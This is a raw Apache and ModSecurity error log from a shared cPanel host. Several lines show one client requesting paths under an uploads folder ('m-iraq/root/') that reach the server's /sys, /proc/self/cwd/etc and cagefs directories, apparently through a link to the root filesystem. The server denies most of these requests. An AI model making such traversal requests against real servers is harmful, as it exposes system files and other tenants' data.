[Fri Jul 17 08:18:44.031840 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/rpm/macros.ea-php74-php"] [unique_id "almYDKUJv0yl2bIgVrkLtwAAABU"]
[Fri Jul 17 08:18:44.031871 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/rpm/macros.ea-php74-php"] [unique_id "almYDKUJv0yl2bIgVrkLtwAAABU"]
[Fri Jul 17 08:18:44.122863 2026] [core:error] [pid 2008451:tid 2008451] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/ttyS2/uartclk
[Fri Jul 17 08:18:44.488352 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:44.579504 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/ttyS3/close_delay
[Fri Jul 17 08:18:44.762205 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:44.855027 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:45.037858 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty5/subsystem/ttyS2/closing_wait
[Fri Jul 17 08:18:45.493937 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/device:1e/eject
[Fri Jul 17 08:18:45.677821 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:46.132966 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:46.315235 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/subsystem/drivers/ec/uevent
[Fri Jul 17 08:18:46.596305 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:47.156969 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:47.260689 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:56992] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:47.909836 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:57096] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:48.106565 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:48.198756 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1a/subsystem/uevent
[Fri Jul 17 08:18:48.381071 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:49.398287 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:49.492820 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:57192] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:49.496435 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty49/subsystem/ttyS0/closing_wait
[Fri Jul 17 08:18:49.778821 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:50.334104 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:50.520004 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:50.706089 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:51.313085 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:37530] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:51.467474 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:51.559332 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:51.650888 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:51.834968 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:52.201036 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:52.657187 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:52.657271 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:52.657357 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:52.657402 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:52.657429 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:52.657448 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:52.657466 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:52.703866 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:37644] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:52.839536 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:53.118947 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:53.208150 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:53.484873 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:53.585932 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:53.677372 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:53.768850 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:53.950785 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty18/subsystem/ttyS2/uartclk
[Fri Jul 17 08:18:54.145428 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:54.284689 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:54.335944 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:54.336024 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:54.336272 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:54.405472 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:37748] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:54.407606 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:54.407686 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:54.407923 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:54.537185 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:54.694739 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:54.779929 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:54.924539 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:55.250578 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:55.337880 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:55.437573 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:55.795302 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:55.886892 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:55.978089 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:56.165074 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:56.446999 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:56.746396 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:57.283094 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:37938] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:57.460580 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almYGIha5y5fYnQ1qRruGgAAAAE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1095&page_105=1259
[Fri Jul 17 08:18:57.460630 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almYGIha5y5fYnQ1qRruGgAAAAE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1095&page_105=1259
[Fri Jul 17 08:18:57.589236 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYGXt8zp89pALg8Q5jpwAAAA4"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:18:57.589365 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYGXt8zp89pALg8Q5jpwAAAA4"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:18:57.680951 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:37964] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:57.696218 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:57.891826 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/bin/dwp"] [unique_id "almYGY1dLClkUfK_dfHf4QAAAAI"]
[Fri Jul 17 08:18:57.891866 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/bin/dwp"] [unique_id "almYGY1dLClkUfK_dfHf4QAAAAI"]
[Fri Jul 17 08:18:58.095135 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:58.143276 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:38022] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:58.292138 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup8/subsystem/wakeup11/device/device:12/eject
[Fri Jul 17 08:18:58.824467 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:58.940001 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:58.946562 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:58.987520 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:59.168856 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:59.196720 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:59.548583 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:59.635768 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:59.817364 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:00.191658 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:06/subsystem/drivers/pvpanic/bind
[Fri Jul 17 08:19:00.366970 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:00.912255 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:01.004167 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:01.094664 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:01.655352 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:01.746985 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:01.836531 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:01.928589 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:02.300370 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:02.391130 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:02.483016 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:02.572871 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:02.664762 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:03.211412 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:03.227017 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:03.407977 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:03/eject
[Fri Jul 17 08:19:03.498847 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:03.864274 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:03.953002 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:04.044541 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:03/eject
[Fri Jul 17 08:19:04.265605 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:45180] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:04.499522 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:04.684260 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty49/subsystem/ttyS1/line
[Fri Jul 17 08:19:04.777463 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/platform/drivers/pcspkr/module/uevent
[Fri Jul 17 08:19:04.868952 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu0/driver/cpu3/subsystem/uevent
[Fri Jul 17 08:19:04.964085 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:05.142096 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:05.234914 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:05.329477 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:05.687619 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:05.780290 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:05.960374 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:06.182981 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:06.331195 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:06.521349 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:06.787082 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:06.964465 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:07.055258 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:07.329522 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:07.510735 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/subsystem/wakeup11/device/device:0c/eject
[Fri Jul 17 08:19:07.609782 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.242.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/en/public/index.php/sn/preventionUnit/galleries/-26"] [unique_id "almYIw5GPQ6hs4VrfMo8fgAAAAY"], referer: https://www.nccp.health.gov.lk/nccp/public/index.php/sn/preventionUnit/galleries/-26
[Fri Jul 17 08:19:07.609837 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.242.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/en/public/index.php/sn/preventionUnit/galleries/-26"] [unique_id "almYIw5GPQ6hs4VrfMo8fgAAAAY"], referer: https://www.nccp.health.gov.lk/nccp/public/index.php/sn/preventionUnit/galleries/-26
[Fri Jul 17 08:19:07.753207 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYI5OFLENLI63GGOEItQAAAAQ"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:19:07.753238 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYI5OFLENLI63GGOEItQAAAAQ"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:19:08.248931 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty52/subsystem/ttyS1/closing_wait
[Fri Jul 17 08:19:08.356301 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:08.537527 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:08.647922 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:45504] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:08.809175 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:08.809287 2026] [core:crit] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/redis/lib64/redis/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/redis/lib64/redis/' is executable
[Fri Jul 17 08:19:09.502367 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:45540] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:10.109976 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:10.112371 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:10.134562 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:10.579534 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:45588] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:19:10.584033 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:10.832151 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:1c/eject
[Fri Jul 17 08:19:10.921844 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:11.379979 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:11.386558 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:11.386729 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:11.531938 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:11.750847 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:1c/eject
[Fri Jul 17 08:19:11.933204 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:12.117588 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:12.209701 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:12.496182 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:19:12.672280 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
